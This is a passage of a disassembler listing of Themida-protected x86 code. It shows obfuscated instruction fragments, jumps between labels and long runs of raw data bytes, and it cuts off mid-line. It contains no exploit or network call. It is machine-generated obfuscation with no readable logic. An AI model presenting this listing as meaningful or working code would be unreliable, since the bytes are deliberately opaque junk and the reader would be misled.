XREF: Themida_:00556A5Dj shl edx, 5 inc edx jmp loc_555918 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 3 dd 1389ED81h, 0EE89AF2Fh, 99EEE95Dh, 0F180FFFFh, 587B681Eh dd 4890000h, 88CC8824h, 0C8B58E2h, 4C48324h, 8B66D530h dd 0C4812414h, 2, 0FFBC4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6DD: ; CODE XREF: Themida_:00559B19j mov ebp, 3BBC1CDBh add [esp+0Ch], ebp pop ebp push esi mov esi, 792E5E02h jmp loc_558D1B ; --------------------------------------------------------------------------- dw 0C381h dd 63B85B7Fh, 1594E9h db 0 ; --------------------------------------------------------------------------- loc_55B6FD: ; CODE XREF: Themida_:00558DCCj add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push ecx mov ecx, 4AD40077h jmp loc_55B12C ; --------------------------------------------------------------------------- loc_55B721: ; CODE XREF: Themida_:00554A7Cj pop esp add eax, 5BA33434h add eax, esi jmp loc_55DABB ; --------------------------------------------------------------------------- dw 0EE83h dd 24348704h, 0C29CE9h, 24048700h, 6824248Bh, 7BDDh, 81241C89h dd 4ECh, 24148900h, 5351DAB6h, 2FE9F388h, 330000A1h, 895C242Ch dd 0E789243Ch, 0E971E952h, 0E954FFFFh, 0FFFFAB6Dh, 4C181h dd 0BF570000h, 4, 0D0E9F901h, 80FFFFA4h, 0D9F6CFE1h, 0E9FAF180h dd 5335h ; --------------------------------------------------------------------------- loc_55B790: ; CODE XREF: Themida_:00567C5Ej mov eax, 38804083h sub esp, 4 mov [esp], ebp mov ebp, eax mov esi, ebp jmp loc_55C90A ; --------------------------------------------------------------------------- db 81h dd 6472E2EEh, 5EF58953h, 815DEF29h, 0FFBDF9C7h, 0A3EA81FEh dd 294A7410h, 0A3C281FAh, 5F4A7410h, 2474FF52h, 48F5A04h dd 345BE924h, 30AC0000h, 265368D8h, 14890000h, 0B1B45024h dd 2CEDE9h, 24048B00h, 637DE9h db 0 ; --------------------------------------------------------------------------- loc_55B7F1: ; CODE XREF: Themida_:00555EF5j push ebx mov ebx, 4 add [esp+4], ebx jmp loc_5678C9 ; --------------------------------------------------------------------------- dd 81FA295Eh, 877F84C2h, 2434FF74h, 4C4835Fh, 8B2434FFh dd 0C481241Ch, 4, 0E904C483h, 0FFFF6D55h, 51D830ACh, 5088B753h dd 0E188FC88h, 241C8B58h, 4C481h, 0C1800000h, 61C18009h dd 4BB65266h, 0F62CF204h, 5476E9h db 0 ; --------------------------------------------------------------------------- loc_55B84D: ; CODE XREF: Themida_:0055DB70j sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esi, 322B6118h pop ecx sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push dword ptr [esp] pop edx add esp, 4 jmp loc_552579 ; --------------------------------------------------------------------------- loc_55B88B: ; CODE XREF: Themida_:0055D3E2j mov [esp], edi sub esp, 4 mov [esp], esi mov esi, 0D6F3A99h push 6B2Dh jmp loc_56687D ; --------------------------------------------------------------------------- db 89h dd 4F682404h, 0E9000009h, 0FFFFED2Ch, 1768F581h, 0EDC14109h dd 68ED8104h, 31B669D8h, 47355DE8h, 0E97EC16Fh, 0FFFF7741h ; --------------------------------------------------------------------------- loc_55B8CC: ; CODE XREF: Themida_:005570C5j push ebx jmp loc_554861 ; --------------------------------------------------------------------------- dw 6856h dd 6A9h, 0BA241489h, 622C010Dh, 0BD55E2D1h, 0 dd 0EA87D529h, 0FFF4F8E9h, 98F581FFh, 55741E42h, 3DE4E9h db 0 ; --------------------------------------------------------------------------- loc_55B8FD: ; CODE XREF: Themida_:00567891j push 75D1h mov [esp], eax jmp loc_56274C ; --------------------------------------------------------------------------- dw 0BD55h dd 3E683199h, 19181CBFh, 8BEF013Fh, 0C481242Ch, 4, 5ED7F781h dd 0A0E93911h, 3300004Ah, 0C31240Ch, 240C3324h, 243C335Ch dd 33243C31h, 0BFE9243Ch db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B943: ; CODE XREF: Themida_:00560230j mov edx, esp push eax mov eax, 132C107Ah or eax, 449F6250h inc eax or eax, 88B405Ah neg eax shl eax, 5 xor eax, 811B0A4h add edx, eax pop eax push ebx mov ebx, 356A5BCCh add ebx, 79625ED4h push 37E8h jmp loc_5559B2 ; --------------------------------------------------------------------------- db 0F7h, 0D9h, 81h dd 4E7DE9E9h, 0E95E5126h, 0FFFFF09Eh, 8CE9CB01h, 81FFFFABh dd 0C53A47CFh, 60B8501Ah, 0F73C3F16h, 2DD0F7D0h, 73E97795h dd 0FF7F01E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B9A9: ; CODE XREF: Themida_:00567822j add ebx, edi jmp loc_556F6C ; --------------------------------------------------------------------------- loc_55B9B0: ; CODE XREF: Themida_:0055FC0Fj mov ebp, [esp] push eax jmp loc_555AC0 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0ACF3E95Fh, 0B8BFFFFFh, 2956BF5Dh, 0EE015FFDh, 31C2E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B9D2: ; CODE XREF: Themida_:005611B0j sub esi, 37B03B18h shl esi, 8 sub esi, 1F267F7Bh sub esi, 94DEEB1Dh jmp loc_5531C9 ; --------------------------------------------------------------------------- dd 0D9F7D1F7h, 1E6CBF57h, 0C781149Dh, 0C1EDBF64h, 505FF901h dd 97B85056h, 0BE45DD73h, 174D0AE7h, 4E9C631h, 0FFFFFF88h dd 5A042474h, 8B24048Fh, 24D32424h, 0DB8EE924h, 2859FFFFh dd 148B58E1h, 4C48324h, 34FFC800h, 0C4835924h, 67036804h dd 0D7E90000h, 0B9FFFFDCh, 5EFF0EF3h, 0ACBC181h, 0CE29F346h dd 0FF7874E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BA55: ; CODE XREF: Themida_:005585E9j mov esp, [esp] mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop ecx add ecx, 4 sub esp, 4 mov [esp], ebx jmp loc_55D0BD ; --------------------------------------------------------------------------- dd 52F5B450h, 0FFDA69E9h, 148966FFh, 7FC4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA8A: ; CODE XREF: Themida_:00561462j push dword ptr [esp+4] pop ebp pop dword ptr [esp] not ebp xchg ebp, [esp] push dword ptr [esp] jmp loc_557E0F ; --------------------------------------------------------------------------- db 58h dd 243C335Dh, 0E9243C31h, 0A01Ch, 7040C781h, 0EF295AECh dd 0FFF191E9h, 32BB53FFh, 810D601Ch, 0E57812CBh, 0ED72E946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BACA: ; CODE XREF: Themida_:0055CD1Dj add esp, 4 push dx mov dl, 0D8h jmp loc_554AA6 ; --------------------------------------------------------------------------- db 81h, 0CAh, 8Ch dd 811F6B44h, 0EB951F2h, 0E9D009C3h, 0FFFF7594h, 22E9FD89h dd 100007Bh, 3222DD8h, 89563A9Ah, 4C681E6h, 55000000h dd 4BDh, 0B7BBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB0E: ; CODE XREF: Themida_:0055FFECj mov ebx, 0BB84CECh xor ebx, 0F447B313h jmp loc_566E21 ; --------------------------------------------------------------------------- dw 0BD55h dd 4C50D87h, 3613E9h, 0C8B6600h, 0F55E924h, 0F1810000h dd 7D9C080Fh, 6859CD89h, 0 dd 8B242C29h, 0E0E9242Ch, 8BFFFF96h, 26E92424h, 54FFFF6Ah dd 6CE7E9h, 5F80100h, 3245027Bh, 7654622Dh, 0C6315F27h dd 3E27E958h, 0EE810000h, 19FD3C35h, 2A09BD55h, 0BF574356h dd 0 dd 3EFEEF81h, 0EF2973A4h, 3EFEBA52h, 0D70173A4h, 8BFD875Ah dd 0C481243Ch, 4, 0C326ED81h, 0C68172B8h, 149240Eh, 0AFB85052h dd 897DA122h, 2AE958C2h, 8100004Dh, 4EEh, 24348700h, 2414895Ch dd 6DE9BDB2h, 68FFFF91h, 4925h, 4BD6E9h, 0B9515A00h, 0FFFFFFFFh dd 0E959CA29h, 0FFFFB353h ; --------------------------------------------------------------------------- loc_55BBE4: ; CODE XREF: Themida_:00555F9Bj push dword ptr [esp] pop ecx push ebx sub esp, 4 push esp jmp loc_55476B ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 81h dd 35183AF6h, 0BCB0E92Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC02: ; CODE XREF: Themida_:0055CB1Cj pop edx shr bl, 3 jmp loc_55890D ; --------------------------------------------------------------------------- db 81h dd 0AA6AB8EDh, 0F3ED8110h, 89166980h, 242C8BE9h, 0FFC1C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BC21: ; CODE XREF: Themida_:00555DC5j mov ebp, 649A5214h jmp loc_561D9D ; --------------------------------------------------------------------------- aBsE db 'Άι³E',0 align 2 aSF_0 db 'S³}΄',0 aSI db 'ά[ιΠ',0 dw 0AC00h dd 5266152Ch, 0D028DEB2h, 0EF2C5A66h, 0D8280E04h, 52660E2Ch dd 0C6800AB6h, 6A4AE9E5h, 14890000h, 78B55124h, 0C0AAE580h dd 0C58006EDh, 8BEA88D7h, 0C483240Ch, 29F28004h, 66FFE9h db 0 ; --------------------------------------------------------------------------- loc_55BC7D: ; CODE XREF: Themida_:00560479j mov eax, [esp] jmp loc_5592FE ; --------------------------------------------------------------------------- loc_55BC85: ; CODE XREF: Themida_:005617CBj mov ecx, 4 sub esp, 4 mov [esp], eax mov eax, ecx mov edi, eax pop eax pop ecx add ebx, edi jmp loc_55F69B ; --------------------------------------------------------------------------- dd 4C481h, 0E9810000h, 8720E6Dh, 7EA2C181h, 0FDE94637h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCB7: ; CODE XREF: Themida_:00552E0Ej and ecx, 77343CD8h sub ecx, 13E7092Eh push 1B0h mov [esp], ecx jmp loc_5602FD ; --------------------------------------------------------------------------- dd 8455C781h, 0D4E93A7Bh, 66FFFF71h, 0E924048Bh, 922Fh dd 0BA52464Eh, 4E75EFCh, 0FF6CF9E9h, 5D3B8FFh, 35482E98h dd 7AC45383h, 51FCE9h db 0 ; --------------------------------------------------------------------------- loc_55BD01: ; CODE XREF: Themida_:005623FCj not esi jmp loc_55399D ; --------------------------------------------------------------------------- dd 8904EC83h, 85682434h, 8900003Dh, 0A068243Ch, 0E902D650h dd 0FFFF78FCh, 24048B66h, 23C568h, 0D89DE900h, 0CF89FFFFh dd 75B768h, 240C8900h, 0B472E9h, 14EA8100h, 81ABC613h dd 0CD547FEBh, 1EEB8113h, 16E225Ch, 1EC381D3h, 0E96E225Ch dd 0FFFF873Dh, 4C281h, 68510000h, 4, 0FFEF8DE9h, 2474FFFFh dd 48F5A04h, 0EC815C24h, 4, 0F7243C89h, 5BE92414h, 100004Dh dd 30BB53DEh, 0E919CD19h, 76FFh ; --------------------------------------------------------------------------- loc_55BD94: ; CODE XREF: Themida_:0055E232j mov edx, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push small 0DE2h mov [esp], bx push edx mov edx, esp jmp loc_561037 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 31241433h, 0C8E92414h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BDC7: ; CODE XREF: Themida_:0055E092j xchg esi, [esp] jmp loc_552FEF ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 1314h, 565E2868h, 0E9C15965h dd 0A8F18105h, 898FC607h, 0D93159CBh, 59CE015Bh, 52B9C681h dd 0F701C3AFh, 4EC815Eh, 89000000h, 74FF243Ch, 34FF0424h dd 0C4815F24h, 4, 0E924048Fh, 0FFFF77D7h, 60A368h, 243C8900h dd 6F176C68h, 0A5BCE96Ah, 2C330000h, 24248B24h, 6853E9F7h dd 1A7Dh, 0FF7D46E9h, 0F8285AFFh, 0D004792Ch, 241C8B66h dd 0E902C483h, 0FFFFD76Bh, 81242C8Bh, 4C4h, 50D12900h dd 345DDCB8h, 0BE3DE964h, 77FFFFFFh, 59669D1Ch, 9C2414D2h dd 0FF6700E9h, 2CA868FFh, 24890000h, 38DE6824h, 4890000h dd 2CBE5624h, 0E90B9232h, 0FFFFBAE5h, 2BB168h, 243C8900h dd 4BFh, 8BFE0100h, 70E9243Ch, 53000001h, 4BBh, 5BDE0100h dd 795FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BEBA: ; CODE XREF: Themida_:0055683Dj push 1BB73199h pop edi dec edi push ebx push ecx mov ecx, 49C05270h jmp loc_55697A ; --------------------------------------------------------------------------- loc_55BECD: ; CODE XREF: Themida_:00564636j push 7342h mov [esp], ebp push 474445D1h pop ebp xor ecx, ebp push dword ptr [esp] pop ebp push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push edx mov edx, 6DE04E13h or edx, 731B7CA5h xchg ebx, edx neg ebx xchg ebx, edx not edx shr edx, 1 xor edx, 5C3C46A9h sub edx, 1D3B46Ch sub ecx, edx pop edx and eax, ecx jmp loc_5561A2 ; --------------------------------------------------------------------------- dw 8058h dd 0ED8097EDh, 5B686601h, 14896621h, 0D8FAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF36: ; CODE XREF: Themida_:00552E3Aj pop edi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55699C ; --------------------------------------------------------------------------- loc_55BF4B: ; CODE XREF: Themida_:0055F01Cj mov dh, bl mov ch, dh pop edx push dword ptr [esp] pop ebx push ebx mov ebx, esp push edi mov edi, 5C534849h not edi jmp loc_55C062 ; --------------------------------------------------------------------------- dd 24348B5Ah, 50E18951h, 0C70E954h, 7BB0000h, 0E95ECAD6h dd 0FFFF9330h ; --------------------------------------------------------------------------- loc_55BF7C: ; CODE XREF: Themida_:00564C09j push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_553997 ; --------------------------------------------------------------------------- db 29h, 0D9h, 0E9h dd 0FFFFBBD7h ; --------------------------------------------------------------------------- loc_55BF98: ; CODE XREF: Themida_:00562F04j xor ebp, eax pop eax xor eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_565F8B ; --------------------------------------------------------------------------- db 50h dd 405E089h, 5000000h, 4, 8E95E9h, 5EBF5700h, 0E90B3219h dd 0FFFFA6FAh, 4B8h, 9261E900h, 0EE01FFFFh, 51242C8Bh dd 0C181E189h, 4, 0FF7320E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BFE5: ; CODE XREF: Themida_:00556FE0j mov esi, [esp] add esp, 4 push edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx mov ebx, 6D943133h shr ebx, 5 jmp loc_555440 ; --------------------------------------------------------------------------- loc_55C010: ; CODE XREF: Themida_:005563F3j pop esp add eax, 1BE33193h jmp loc_5618B6 ; --------------------------------------------------------------------------- db 83h dd 0DAE904C4h, 0E9FFFFBEh, 0FFFF6551h, 0FF241C89h, 0FF042474h dd 34FF2434h, 70FDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C03A: ; CODE XREF: Themida_:00566D93j pop edi add esp, 4 jmp loc_5565B0 ; --------------------------------------------------------------------------- db 0ADh dd 5657D831h, 0F53E81BEh, 0C5ACE948h, 0BA52FFFFh, 55A874D4h dd 68h, 706EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C062: ; CODE XREF: Themida_:0055BF5Fj inc edi and edi, 46282C9Ah push 27E7h mov [esp], ebp mov ebp, 2282496h xor edi, ebp pop ebp add ebx, edi pop edi jmp loc_560203 ; --------------------------------------------------------------------------- db 5, 4Bh, 0B5h dd 0C289B02Fh, 630EE9h, 4EC8300h, 81242C89h, 5CA2434h dd 148B0E67h, 4C48124h, 81000000h, 6705CAF2h, 836CE90Eh dd 348BFFFFh, 4C48124h, 1000000h, 1C335FFBh, 241C3124h dd 0E9241C33h, 3D70h, 0CFF665Ch, 0A6E99C24h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C0D3: ; CODE XREF: Themida_:0055786Ej shl ebx, 8 sub ebx, 5B944873h xor ebx, ecx xor ecx, ebx xor ebx, ecx neg ecx xchg ecx, ebx jmp loc_55DA0A ; --------------------------------------------------------------------------- loc_55C0EB: ; CODE XREF: Themida_:0055E831j mov edi, 68313056h jmp loc_561356 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0BE56E589h, 63272F7h, 144AB951h, 0E9C100AFh, 15F4E903h dd 81590000h, 1F68D1F1h, 0E9F18134h, 894C9645h, 4B76E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C122: ; CODE XREF: Themida_:0056507Cj sub edi, 1B717691h or ebx, edi jmp loc_552EE2 ; --------------------------------------------------------------------------- loc_55C12F: ; CODE XREF: Themida_:00553EA7j pop edi add esi, 762B0EB6h add esi, 499C0F33h add esi, 6FFE5331h jmp loc_55916F ; --------------------------------------------------------------------------- db 0BAh dd 890174Fh, 315AD129h, 685759CBh, 97B4183h, 0E9243C8Bh dd 0FFFF6CBBh, 575AD001h, 7B79BE56h, 0F789328Ch, 72C9055Eh dd 0F8016D36h, 399EE9h, 4C48300h, 0D1F7D9F7h, 6856D9F7h dd 0C67h, 0B8240489h, 4C440C18h, 0DE16B42Dh, 0FAE94041h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C19B: ; CODE XREF: Themida_:00562BE2j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], esi push edx jmp loc_562A82 ; --------------------------------------------------------------------------- db 89h dd 0F8E9241Ch db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C1B3: ; CODE XREF: Themida_:00561817j add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 6E5Bh mov [esp], esi push 437079D7h mov esi, [esp] add esp, 4 jmp loc_56080F ; --------------------------------------------------------------------------- loc_55C1DB: ; CODE XREF: Themida_:00559CDFj xor dl, 59h jmp loc_563B28 ; --------------------------------------------------------------------------- db 51h dd 0FFFBF3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C1E9: ; CODE XREF: Themida_:00562767j add esp, 4 push eax mov eax, 0D8F0381h neg eax jmp loc_55539A ; --------------------------------------------------------------------------- dd 1E8ABD55h, 0EB291F68h, 0B13CE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C20A: ; CODE XREF: Themida_:005654A5j mov ebp, esp push esi jmp loc_55269E ; --------------------------------------------------------------------------- dw 248Bh dd 24042024h, 655FE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C21E: ; CODE XREF: Themida_:00557515j sub edx, 283F7907h mov ebx, [esp] push eax push esp jmp loc_55F021 ; --------------------------------------------------------------------------- dw 0F729h a3S db '^3<$ι/',27h,0 dd 0ED10BA00h, 0EE815336h, 371A5F86h, 5255EE81h, 0D6012A92h dd 5255C681h, 3DE92A92h, 81000016h, 0E8102AC1h, 8EF7E905h dd 815AFFFFh, 0A2758AF7h, 5FFB314Dh, 4EC81h, 0C5E90000h dd 5F000039h, 5155535Dh, 0FFCF24E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C281: ; CODE XREF: Themida_:00567D25j add esp, 4 sub edx, ebp pop ebp sub edx, 9182CCDh add edx, edi add edx, 9182CCDh add edx, 15D563E5h sub esp, 4 mov [esp], esi push 4B0C3BF3h pop esi push ebp mov ebp, 1E157BC3h shr ebp, 7 dec ebp jmp loc_566041 ; --------------------------------------------------------------------------- dw 0BD55h dd 309C4D79h, 2C8BEE31h, 4C48324h, 1A8FBB53h, 0DEE92AA7h dd 4B00009Ah, 61F0E9h db 0 ; --------------------------------------------------------------------------- loc_55C2D5: ; CODE XREF: Themida_:0055E0ABj push ecx push 1861640Dh pop ecx jmp loc_55DC88 ; --------------------------------------------------------------------------- loc_55C2E1: ; CODE XREF: Themida_:0055F120j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_552C7A ; --------------------------------------------------------------------------- dw 8143h dd 0BD12C7E3h, 4D7E977h, 0E6890000h, 7CC4BD55h, 0D5F75D6Dh dd 1A5FB951h, 0CD215D32h, 8E5C159h, 95C1E9h, 24048100h dd 4AE23039h, 0FF720FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C325: ; CODE XREF: Themida_:0055A3D4j mov ebx, [esp] add esp, 4 add ebx, ebp pop ebp push edi jmp loc_556629 ; --------------------------------------------------------------------------- loc_55C334: ; CODE XREF: Themida_:00561513j add eax, 4 jmp loc_554A74 ; --------------------------------------------------------------------------- dw 0F100h dd 80C9FE5Ah, 5B6857C9h, 8900004Ah, 0D8E92414h, 80FFFFF8h dd 0B60F53EBh, 0A247E9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C35E: ; CODE XREF: Themida_:00556F32j xor ebx, 0F391D523h and edx, ebx pop ebx push ebx mov ebx, 4205577Ah xor ebx, 67D15BAEh sub ebx, 0BED87534h sub edx, ebx pop ebx mov esi, edx pop edx add ebx, 588D6E5Dh add ebx, esi jmp loc_55C55D ; --------------------------------------------------------------------------- dd 4C481h, 0B2520000h, 80C2FED7h, 0D1202DEAh, 0FFBB93E9h dd 24048BFFh, 5E08950h, 4, 8704C083h, 665C2404h, 665DFA68h dd 0F6240C89h, 59662414h, 66C1B652h, 6656F068h, 0B7241C89h dd 66FE00DFh, 2EC815Bh, 66000000h, 0B3241C89h, 66D9002Ch dd 50F1005Bh, 0C48084B4h, 0C4F480DFh, 70C3E9h, 0FE95100h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C3F7: ; CODE XREF: Themida_:00554536j sub esp, 4 mov [esp], ecx mov ecx, esp push ebp push edx mov edx, 7926DE1h mov ebp, 7926DE5h xor ebp, edx pop edx sub esp, 4 mov [esp], ebp mov ebp, 1EBB181Bh add ecx, ebp jmp loc_55A76C ; --------------------------------------------------------------------------- loc_55C426: ; CODE XREF: Themida_:00564801j pop esp add dword ptr [esp+4], 11C04C2h sub [esp+4], ebx sub dword ptr [esp+4], 11C04C2h pop ebx push dword ptr [esp] mov eax, [esp] sub esp, 4 jmp loc_56453F ; --------------------------------------------------------------------------- loc_55C44D: ; CODE XREF: Themida_:00564BFCj pop eax jmp loc_55F472 ; --------------------------------------------------------------------------- db 59h dd 2434FF5Bh, 4C48358h, 0A8FED81h, 0FD012CABh, 0A8FC581h dd 69E92CABh db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C46F: ; CODE XREF: Themida_:00553641j and eax, edi pop edi sub eax, 0FDFCFC7Bh mov ebx, eax pop eax push ebp push 5500543Fh jmp loc_5676C1 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 47FF06C5h, 8147D7F7h, 5F957F7h, 0C65BE9DFh, 0C181FFFFh dd 25CD0A1Dh, 0E9241C8Bh, 36C9h, 0FF60CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C4AD: ; CODE XREF: Themida_:00566535j mov edi, esp add edi, 4 sub edi, 4 jmp loc_560AAA ; --------------------------------------------------------------------------- dd 4BBh, 5BDF2900h, 0E9243C87h, 6AA8h, 85B15153h, 0CB00E3B3h dd 0E9C3FE59h, 4C16h ; --------------------------------------------------------------------------- loc_55C4E0: ; CODE XREF: Themida_:0055968Bj dec edi jmp loc_55A2D2 ; --------------------------------------------------------------------------- dw 8EE9h dd 81FFFF60h, 132DDAC2h, 0B800E93Dh, 1C89FFFFh, 0D122E924h dd 73B9FFFFh, 8176875Bh, 4ECh, 240C8900h, 592404FFh, 7E1C149h dd 68h, 240C2900h, 8518E9h, 24148900h, 4BAh, 1CEDE900h dd 0E9590000h, 0FFFFF23Ch ; --------------------------------------------------------------------------- loc_55C534: ; CODE XREF: Themida_:00554728j pop esp and eax, esi push dword ptr [esp] jmp loc_567A83 ; --------------------------------------------------------------------------- db 0F7h dd 1FCB81D3h, 4B1CFF49h, 0EB81D3F7h, 0A277CE6Bh, 2EBBE9h dd 4C48300h, 5163E9h db 0 ; --------------------------------------------------------------------------- loc_55C55D: ; CODE XREF: Themida_:0055C387j push ecx jmp loc_566768 ; --------------------------------------------------------------------------- loc_55C563: ; CODE XREF: Themida_:0055C849j or esi, ebx pop ebx jmp loc_555D35 ; --------------------------------------------------------------------------- loc_55C56B: ; CODE XREF: Themida_:00565B21j mov [esp], eax push 6DD1h jmp loc_55834E ; --------------------------------------------------------------------------- dd 8858C688h, 24148B30h, 5804C483h, 8B2434FFh, 0C483240Ch dd 4C48104h, 0E9000000h, 0FFFF5FE1h, 3304C783h, 3C31243Ch dd 243C3324h, 12BA525Ch, 5279B147h, 43CB68h, 24048900h dd 0E950585Ah, 96Dh ; --------------------------------------------------------------------------- loc_55C5BC: ; CODE XREF: Themida_:005564E7j pop esi pop dword ptr [esp] push ecx mov ecx, esp jmp loc_552E79 ; --------------------------------------------------------------------------- dd 22EBB850h, 55E91101h, 0FF000032h, 0D6E92434h, 6600009Dh dd 4311E181h, 0CCC98166h, 0A5D3E947h, 0C2810000h, 4, 5F685357h dd 5B642377h, 0F381E3D1h, 0DBC1DE58h, 0C15BDF89h, 0EF8103E7h dd 5FC35D8h, 0DD5C781h, 0E78170F4h, 982628Ch, 0E3685655h dd 5E536472h, 0FFF182E9h, 822D5CFFh, 2950B85Ch, 5C8205F0h dd 815E50B8h, 4ECh, 240C8900h, 175713B9h, 1CF75120h, 240C8B24h dd 4C481h, 0C1810000h, 1, 303A68h, 0FB4DE900h, 0BF57FFFFh dd 2D76B41Dh, 0FFD735E9h, 24148BFFh, 4C481h, 0E3800000h dd 9FF380DCh, 7246E9h db 0 ; --------------------------------------------------------------------------- loc_55C67D: ; CODE XREF: Themida_:0056506Aj push eax not dword ptr [esp] mov eax, [esp] add esp, 4 xchg eax, [esp] mov ebp, [esp] add esp, 4 shr ebp, 5 xor ebp, 6FB991EDh xor eax, ebp jmp loc_558E64 ; --------------------------------------------------------------------------- dd 68524D5Dh, 65FD540Ah, 0A0D2E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6AE: ; CODE XREF: Themida_:005554ECj inc ebp shr ebp, 8 add ebp, 0FFFFFFFFh sub esp, 4 mov [esp], eax mov eax, 19271655h jmp loc_55C7A9 ; --------------------------------------------------------------------------- db 88h dd 58E188D4h, 8324148Bh, 8DE904C4h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6DB: ; CODE XREF: Themida_:0056320Dj mov ebx, 676D6E95h sub ebx, 3AE1F45Eh mov ebp, ebx push dword ptr [esp] pop ebx add esp, 4 inc ebp or ebp, 7D5C386Dh and ebp, 412C7D68h add ebp, 0BEF3879Ch push esi mov esi, 34835F8Eh jmp loc_5548D8 ; --------------------------------------------------------------------------- loc_55C710: ; CODE XREF: Themida_:00563DE4j push ebx mov ebx, esp jmp loc_552DE4 ; --------------------------------------------------------------------------- dd 0A4BAE945h, 0EF2DFFFFh, 5D0DBE34h, 5D59BD55h, 23E95307h dd 54000021h, 8124048Fh, 42404h, 0E9590000h, 6D81h, 0CCFECC88h dd 0E9E18851h, 0FFFF6FDCh, 48BC588h, 4C48124h, 0E9000000h dd 1DCh, 2E6C15Dh, 2E6C146h, 0D1EE8146h, 564001A2h, 28CEE9h db 0 ; --------------------------------------------------------------------------- loc_55C771: ; CODE XREF: Themida_:00553413j mov [esp], eax mov eax, 24h jmp loc_55F58F ; --------------------------------------------------------------------------- loc_55C77E: ; CODE XREF: Themida_:0055F034j or edx, eax shl edx, 1 push ecx push 4BFCh mov [esp], edx sub esp, 4 mov [esp], eax jmp loc_55EDF5 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5804h, 24248B24h, 0FFE1C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C7A9: ; CODE XREF: Themida_:0055C6C6j and ebp, eax pop eax push ecx mov ecx, esp add ecx, 4 push 0BFDh mov [esp], esi mov esi, 4 sub ecx, esi pop esi jmp loc_55751A ; --------------------------------------------------------------------------- loc_55C7CA: ; CODE XREF: Themida_:0055E892j pop esp mov [esp], eax mov eax, esp jmp loc_55720A ; --------------------------------------------------------------------------- db 81h, 0F3h, 0D8h aCIBuyoIsK db 27h,'c',1Bh,'Αλ',7,'γYoΥiι%',0 db 0 ; --------------------------------------------------------------------------- loc_55C7E9: ; CODE XREF: Themida_:0055E02Fj dec ebx jmp loc_55516E ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 37296824h, 24890000h, 884AE924h, 0C681FFFFh dd 521808E2h, 5EF7015Fh, 0E904C783h, 0FFFFEC0Eh, 22D7EE81h dd 0F02977A4h, 3193E9h, 24043300h, 0E9F7665Ch, 0B21BE955h dd 0E0C10000h, 5DC7E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C836: ; CODE XREF: Themida_:005536B9j mov esi, 314A012Ah neg esi shr esi, 8 shr esi, 6 push ebx mov ebx, 1E10B7Ch jmp loc_55C563 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 4F000000h, 0FFB25BE9h, 7F94BAFFh, 55512FBFh dd 6A8AB951h, 0CD8937A6h, 8B595559h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_55ABAA ; --------------------------------------------------------------------------- loc_55C881: ; CODE XREF: Themida_:00559D24j mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_564DBE ; --------------------------------------------------------------------------- db 89h dd 0E2892414h, 4C281h, 0EA830000h, 24148704h, 0AAC2E9h dd 0CEEE8100h, 0E9785506h, 